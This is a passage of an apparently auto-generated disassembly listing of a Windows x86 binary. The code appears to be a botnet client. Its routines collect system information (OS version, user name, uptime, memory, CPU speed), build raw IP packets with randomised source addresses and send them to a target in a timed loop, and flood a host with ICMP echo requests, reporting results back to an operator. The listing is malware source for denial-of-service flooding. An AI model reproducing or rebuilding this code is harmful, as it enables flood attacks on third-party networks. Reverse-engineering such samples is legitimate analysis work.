		cmp	[ebp+var_4], 20h
		jl	short loc_40520F
		cmp	[ebp+var_8], 8
		jge	loc_405337
		mov	[ebp+var_10], esi


loc_40525D:				; CODE XREF: sub_405076+20Cj
		push	0
		push	[ebp+ebx+var_30]
		push	[ebp+arg_0]
		call	sub_40FE9A
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+ebx+var_70]
		call	sub_410487
		add	ebx, 4
		add	esp, 1Ch
		cmp	ebx, 20h
		jl	short loc_40525D
		jmp	loc_405335
; ---------------------------------------------------------------------------


loc_405289:				; CODE XREF: sub_405076+151j
		mov	[ebp+var_30], 130h
		mov	[ebp+var_2C], 131h
		mov	[ebp+var_28], 132h
		mov	[ebp+var_24], 133h
		mov	[ebp+var_20], 4F322h
		mov	[ebp+var_1C], 4F323h
		mov	[ebp+var_18], 4F324h
		mov	[ebp+var_14], 4F325h
		mov	[ebp+var_4], ebx


loc_4052C4:				; CODE XREF: sub_405076+28Dj
		mov	eax, [ebp+var_4]
		push	ebx
		push	[ebp+eax+var_30]
		push	[ebp+arg_0]
		call	sub_40FE9A
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+var_C]
		call	sub_40FC5A
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+eax+var_50]
		push	[ebp+var_C]
		call	sub_4105A0
		add	esp, 28h
		test	eax, eax
		jnz	short loc_4052FB
		inc	[ebp+var_8]


loc_4052FB:				; CODE XREF: sub_405076+280j
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 20h
		jl	short loc_4052C4
		cmp	[ebp+var_8], 8
		jge	short loc_405337
		mov	[ebp+var_10], esi


loc_40530E:				; CODE XREF: sub_405076+2BDj
		push	0
		push	[ebp+ebx+var_30]
		push	[ebp+arg_0]
		call	sub_40FE9A
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+ebx+var_50]
		call	sub_410487
		add	ebx, 4
		add	esp, 1Ch
		cmp	ebx, 20h
		jl	short loc_40530E


loc_405335:				; CODE XREF: sub_405076+20Ej
		xor	ebx, ebx


loc_405337:				; CODE XREF: sub_405076+158j
					; sub_405076+1DEj ...
		push	[ebp+arg_0]
		call	sub_40FC04
		pop	ecx
		lea	eax, [ebp+var_198]
		push	ebx
		push	edi
		push	3
		push	ebx
		push	2
		push	40000000h
		push	eax
		call	dword_41A074	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40537D
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	esi
		call	dword_41A0B8	; SetFileTime
		push	esi
		call	dword_41A068	; CloseHandle


loc_40537D:				; CODE XREF: sub_405076+2E8j
		cmp	[ebp+var_10], ebx
		jz	short loc_4053CB
		push	[ebp+var_94]
		lea	eax, [ebp+var_3A0]
		push	offset dword_41EE98
		push	200h
		push	eax
		call	sub_40E7AB
		push	ebx
		lea	eax, [ebp+var_3A0]
		push	[ebp+var_90]
		push	eax
		push	offset aF_2	; "#f"
		push	[ebp+var_1A0]
		call	sub_4084CC
		lea	eax, [ebp+var_3A0]
		push	eax
		call	sub_407A4E
		add	esp, 28h


loc_4053CB:				; CODE XREF: sub_405076+30Aj
		push	[ebp+var_19C]
		mov	dword_41FC00, ebx
		call	sub_40E4F2
		pop	ecx
		push	ebx
		call	dword_41A084	; ExitThread
sub_405076	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4053E4	proc near		; CODE XREF: sub_405503+1DDp
					; sub_40997B+344Bp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_41A090	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_42765C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset dword_41EF0C
		push	32h
		push	esi
		call	sub_40E7AB
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4053E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40544D	proc near		; CODE XREF: sub_405503+226p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_405455:				; CODE XREF: sub_40544D+2Fj
					; sub_40544D+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	dword_41A060	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_410660
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_405455
		jb	short loc_405484
		cmp	ebx, esi
		ja	short loc_405455


loc_405484:				; CODE XREF: sub_40544D+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4105E0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_4054F7
		jb	short loc_4054A3
		cmp	esi, 50h
		jnb	short loc_4054A8


loc_4054A3:				; CODE XREF: sub_40544D+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_4054A8:				; CODE XREF: sub_40544D+54j
		test	ecx, ecx
		ja	short loc_4054F7
		jb	short loc_4054B3
		cmp	esi, 47h
		jnb	short loc_4054B8


loc_4054B3:				; CODE XREF: sub_40544D+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_4054B8:				; CODE XREF: sub_40544D+64j
		test	ecx, ecx
		ja	short loc_4054F7
		jb	short loc_4054C3
		cmp	esi, 37h
		jnb	short loc_4054C8


loc_4054C3:				; CODE XREF: sub_40544D+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_4054C8:				; CODE XREF: sub_40544D+74j
		test	ecx, ecx
		ja	short loc_4054F7
		jb	short loc_4054D3
		cmp	esi, 26h
		jnb	short loc_4054D8


loc_4054D3:				; CODE XREF: sub_40544D+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_4054D8:				; CODE XREF: sub_40544D+84j
		test	ecx, ecx
		ja	short loc_4054F7
		jb	short loc_4054E3
		cmp	esi, 1Eh
		jnb	short loc_4054E8


loc_4054E3:				; CODE XREF: sub_40544D+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_4054E8:				; CODE XREF: sub_40544D+94j
		test	ecx, ecx
		ja	short loc_4054F7
		jb	short loc_4054F3
		cmp	esi, 0Ah
		jnb	short loc_4054F7


loc_4054F3:				; CODE XREF: sub_40544D+9Fj
		xor	eax, eax
		xor	edx, edx


loc_4054F7:				; CODE XREF: sub_40544D+4Dj
					; sub_40544D+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40544D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405503	proc near		; CODE XREF: sub_40997B+3BA0p

var_4DC		= byte ptr -4DCh
var_3D8		= byte ptr -3D8h
var_2DC		= byte ptr -2DCh
var_250		= word ptr -250h
var_24E		= byte ptr -24Eh
var_150		= byte ptr -150h
var_108		= byte ptr -108h
var_C0		= byte ptr -0C0h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4DCh
		push	ebx
		lea	eax, [ebp+var_A0]
		push	esi
		push	eax
		mov	[ebp+var_4], offset byte_424EF4
		mov	[ebp+var_A0], 94h
		call	dword_41A0D4	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_9C], 4
		jnz	short loc_405589
		cmp	[ebp+var_98], ebx
		jnz	short loc_405565
		cmp	[ebp+var_90], 1
		jnz	short loc_40554F
		mov	[ebp+var_4], offset a95	; "95"


loc_40554F:				; CODE XREF: sub_405503+43j
		cmp	[ebp+var_90], 2
		jnz	loc_405604
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_4055D5
; ---------------------------------------------------------------------------


loc_405565:				; CODE XREF: sub_405503+3Aj
		cmp	[ebp+var_98], 0Ah
		jnz	short loc_405577
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_4055CC
; ---------------------------------------------------------------------------


loc_405577:				; CODE XREF: sub_405503+69j
		cmp	[ebp+var_98], 5Ah
		jnz	short loc_4055C5
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_4055CC
; ---------------------------------------------------------------------------


loc_405589:				; CODE XREF: sub_405503+32j
		cmp	[ebp+var_9C], 5
		jnz	short loc_4055C5
		cmp	[ebp+var_98], ebx
		jnz	short loc_4055A3
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_4055CC
; ---------------------------------------------------------------------------


loc_4055A3:				; CODE XREF: sub_405503+95j
		cmp	[ebp+var_98], 1
		jnz	short loc_4055B5
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_4055CC
; ---------------------------------------------------------------------------


loc_4055B5:				; CODE XREF: sub_405503+A7j
		cmp	[ebp+var_98], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_4055CC


loc_4055C5:				; CODE XREF: sub_405503+7Bj
					; sub_405503+8Dj
		mov	[ebp+var_4], offset dword_41F054


loc_4055CC:				; CODE XREF: sub_405503+72j
					; sub_405503+84j ...
		cmp	[ebp+var_90], 2
		jnz	short loc_405604


loc_4055D5:				; CODE XREF: sub_405503+60j
		cmp	[ebp+var_8C], bl
		jz	short loc_405604
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	offset dword_41F04C
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_2DC]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_405604:				; CODE XREF: sub_405503+53j
					; sub_405503+D0j ...
		mov	ax, word_41F048
		push	edi
		push	3Fh
		mov	[ebp+var_250], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_24E]
		mov	[ebp+var_C], 100h
		rep stosd
		stosw
		mov	eax, dword_427200
		pop	edi
		cmp	eax, ebx
		jz	short loc_40563F
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_250]
		push	ecx
		call	eax	; GetUserNameA


loc_40563F:				; CODE XREF: sub_405503+12Dj
		push	[ebp+arg_4]
		call	sub_404F3A
		pop	ecx
		push	eax
		call	dword_427354	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4272CC	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_405668
		push	dword ptr [eax]
		jmp	short loc_40566D
; ---------------------------------------------------------------------------


loc_405668:				; CODE XREF: sub_405503+15Fj
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40566D:				; CODE XREF: sub_405503+163j
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_40EE10
		pop	ecx
		lea	eax, [ebp+var_4DC]
		pop	ecx
		push	104h
		push	eax
		call	dword_41A0E8	; GetSystemDirectoryA
		lea	eax, [ebp+var_108]
		push	46h
		push	eax
		push	offset dword_41F024
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_41A0E4	; GetDateFormatA
		lea	eax, [ebp+var_150]
		push	46h
		push	eax
		push	offset dword_41F018
		push	ebx
		push	ebx
		push	esi
		call	dword_41A0E0	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_C0]
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_41A0DC	; GlobalMemoryStatus
		push	ebx
		call	sub_4053E4
		pop	ecx
		push	eax
		lea	eax, [ebp+var_150]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_250]
		push	eax
		push	[ebp+arg_4]
		call	sub_404F3A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3D8]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	eax
		push	[ebp+var_94]
		push	[ebp+var_98]
		push	[ebp+var_9C]
		push	[ebp+var_4]
		call	sub_40544D
		push	edx
		push	eax
		push	offset dword_41EF18
		push	200h
		push	[ebp+arg_0]
		call	sub_40E7AB
		mov	eax, [ebp+arg_0]
		add	esp, 40h
		pop	esi
		pop	ebx
		leave
		retn
sub_405503	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40574C	proc near		; CODE XREF: sub_40997B+29F8p
					; sub_40997B+3BD5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		cmp	dword_4273FC, 0
		jnz	short loc_4057B8
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4271E4	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_4057A1
		lea	eax, [ebp+var_8C]
		push	offset dword_41F0F0
		push	eax
		call	sub_40EE10
		pop	ecx
		pop	ecx


loc_4057A1:				; CODE XREF: sub_40574C+40j
		test	[ebp+var_C], 1
		jz	short loc_4057AE
		push	offset dword_41F0E8
		jmp	short loc_4057B3
; ---------------------------------------------------------------------------


loc_4057AE:				; CODE XREF: sub_40574C+59j
		push	offset dword_41F0E4


loc_4057B3:				; CODE XREF: sub_40574C+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_4057D0
; ---------------------------------------------------------------------------


loc_4057B8:				; CODE XREF: sub_40574C+28j
		mov	esi, offset off_41F0E0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_40EE10
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_4057D0:				; CODE XREF: sub_40574C+6Aj
		push	eax
		call	sub_40EE10
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_404F3A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41F078
		push	200h
		push	[ebp+arg_0]
		call	sub_40E7AB
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40574C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40580B	proc near		; CODE XREF: sub_4095BB+12Fp

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_419A42
		mov	esi, eax
		test	esi, esi
		jz	loc_4058B3
		push	esi
		call	sub_40E882
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4058B3
		push	edi
		push	esi
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_419A3C
		test	eax, eax
		jz	short loc_40588E
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41F100
		push	edi
		call	sub_419A36
		test	eax, eax
		jz	short loc_4058AC
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		shr	ecx, 10h
		cmp	cx, 0A28h
		jnz	short loc_4058AC
		movzx	eax, word ptr [eax+0Ch]
		cmp	eax, 884h
		jz	short loc_4058A7
		cmp	eax, 9C9h
		jz	short loc_4058A3
		cmp	eax, 0A7Dh
		jz	short loc_40589F
		cmp	eax, 0B4Ch
		jz	short loc_40589B


loc_40588E:				; CODE XREF: sub_40580B+3Aj
		xor	esi, esi


loc_405890:				; CODE XREF: sub_40580B+9Fj
		push	edi
		call	sub_40ECAF
		pop	ecx
		mov	eax, esi
		jmp	short loc_4058B5
; ---------------------------------------------------------------------------


loc_40589B:				; CODE XREF: sub_40580B+81j
		push	2
		jmp	short loc_4058A9
; ---------------------------------------------------------------------------


loc_40589F:				; CODE XREF: sub_40580B+7Aj
		push	4
		jmp	short loc_4058A9
; ---------------------------------------------------------------------------


loc_4058A3:				; CODE XREF: sub_40580B+73j
		push	3
		jmp	short loc_4058A9
; ---------------------------------------------------------------------------


loc_4058A7:				; CODE XREF: sub_40580B+6Cj
		push	1


loc_4058A9:				; CODE XREF: sub_40580B+92j
					; sub_40580B+96j ...
		pop	esi
		jmp	short loc_405890
; ---------------------------------------------------------------------------


loc_4058AC:				; CODE XREF: sub_40580B+51j
					; sub_40580B+61j
		push	edi
		call	sub_40ECAF
		pop	ecx


loc_4058B3:				; CODE XREF: sub_40580B+18j
					; sub_40580B+29j
		xor	eax, eax


loc_4058B5:				; CODE XREF: sub_40580B+8Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40580B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4058B9	proc near		; DATA XREF: sub_40997B+3A14o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_427394	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_405954
		call	dword_4272A8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_41F228
		push	eax
		call	sub_40EE10
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_405937
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_4084CC
		add	esp, 14h


loc_405937:				; CODE XREF: sub_4058B9+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_407A4E
		push	[ebp+var_38]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41A084	; ExitThread


loc_405954:				; CODE XREF: sub_4058B9+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4272F4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4059CB
		call	dword_4272A8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_41F1F0
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4059AE
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_4084CC
		add	esp, 14h


loc_4059AE:				; CODE XREF: sub_4058B9+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_407A4E
		push	[ebp+var_38]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41A084	; ExitThread


loc_4059CB:				; CODE XREF: sub_4058B9+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_427354	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A32
		lea	eax, [ebp+var_3BC]
		push	offset unk_41F1C8
		push	eax
		call	sub_40EE10
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_405A15
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_4084CC
		add	esp, 14h


loc_405A15:				; CODE XREF: sub_4058B9+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_407A4E
		push	[ebp+var_38]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41A084	; ExitThread


loc_405A32:				; CODE XREF: sub_4058B9+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_427314	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_427354	; inet_addr
		mov	esi, dword_41A090
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_405A70:				; CODE XREF: sub_4058B9+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_405C1B
		push	41Ch
		mov	byte_427698, 45h
		call	dword_427314	; htons
		cmp	[ebp+var_2C], edi
		mov	word_42769A, ax
		mov	word_42769C, bx
		mov	word_42769E, di
		mov	byte_4276A0, 80h
		mov	byte_4276A1, bl
		mov	word_4276A2, di
		jz	short loc_405AF6
		call	sub_410198
		mov	ebx, eax
		shl	ebx, 8
		call	sub_410198
		add	ebx, eax
		shl	ebx, 8
		call	sub_410198
		add	ebx, eax
		shl	ebx, 8
		call	sub_410198
		add	ebx, eax
		push	1
		mov	dword_4276A4, ebx
		pop	ebx
		jmp	short loc_405B0E
; ---------------------------------------------------------------------------


loc_405AF6:				; CODE XREF: sub_4058B9+20Bj
		push	[ebp+var_1BC]
		call	sub_404F3A
		pop	ecx
		push	eax
		call	dword_427354	; inet_addr
		mov	dword_4276A4, eax


loc_405B0E:				; CODE XREF: sub_4058B9+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_4276A8, eax
		call	sub_410198
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4276AC, dl
		call	sub_410198
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4276AD, dl
		call	sub_410198
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4276AE, di
		mov	word_4276B2, bx
		inc	edx
		mov	word_4276B0, dx
		call	sub_410198
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_4276B4
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_427698
		push	[ebp+var_4]
		call	dword_427378	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405BA6
		inc	[ebp+arg_0]
		jmp	loc_405A70
; ---------------------------------------------------------------------------


loc_405BA6:				; CODE XREF: sub_4058B9+2E3j
		push	[ebp+var_4]
		call	dword_4273AC	; closesocket
		call	dword_4272A8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_41F170
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_40E7AB
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_405BFE
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_4084CC
		add	esp, 14h


loc_405BFE:				; CODE XREF: sub_4058B9+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_407A4E
		push	[ebp+var_38]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41A084	; ExitThread


loc_405C1B:				; CODE XREF: sub_4058B9+1C8j
		push	[ebp+var_4]
		call	dword_4273AC	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset dword_41F104
		push	eax
		call	sub_40EE10
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_405C83
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_4084CC
		add	esp, 14h


loc_405C83:				; CODE XREF: sub_4058B9+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_407A4E
		push	[ebp+var_38]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41A084	; ExitThread
sub_4058B9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405CA0	proc near		; DATA XREF: sub_40997B+2DAEo

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_40EC80
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_4272A0	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_427354	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_405CFB
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_427398	; gethostbyname
		cmp	eax, ebx
		jz	short loc_405D01


loc_405CFB:				; CODE XREF: sub_405CA0+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_405D5E


loc_405D01:				; CODE XREF: sub_405CA0+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset dword_41F294
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_405D41
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_4084CC
		add	esp, 14h


loc_405D41:				; CODE XREF: sub_405CA0+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_407A4E
		push	[ebp+var_30]
		call	sub_40E4F2
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41A084	; ExitThread


loc_405D5E:				; CODE XREF: sub_405CA0+5Fj
		cmp	eax, ebx
		jz	short loc_405D6E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_405D71
; ---------------------------------------------------------------------------


loc_405D6E:				; CODE XREF: sub_405CA0+C0j
		mov	[ebp+var_4], esi


loc_405D71:				; CODE XREF: sub_405CA0+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_40E800
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_405D91
		mov	[ebp+var_3C], eax


loc_405D91:				; CODE XREF: sub_405CA0+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_405D99
		mov	[ebp+var_38], edi


loc_405D99:				; CODE XREF: sub_405CA0+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_405DC6


loc_405DA0:				; CODE XREF: sub_405CA0+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_427238	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_405DA0


loc_405DC6:				; CODE XREF: sub_405CA0+FEj
		push	[ebp+arg_0]
		call	dword_4273CC	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
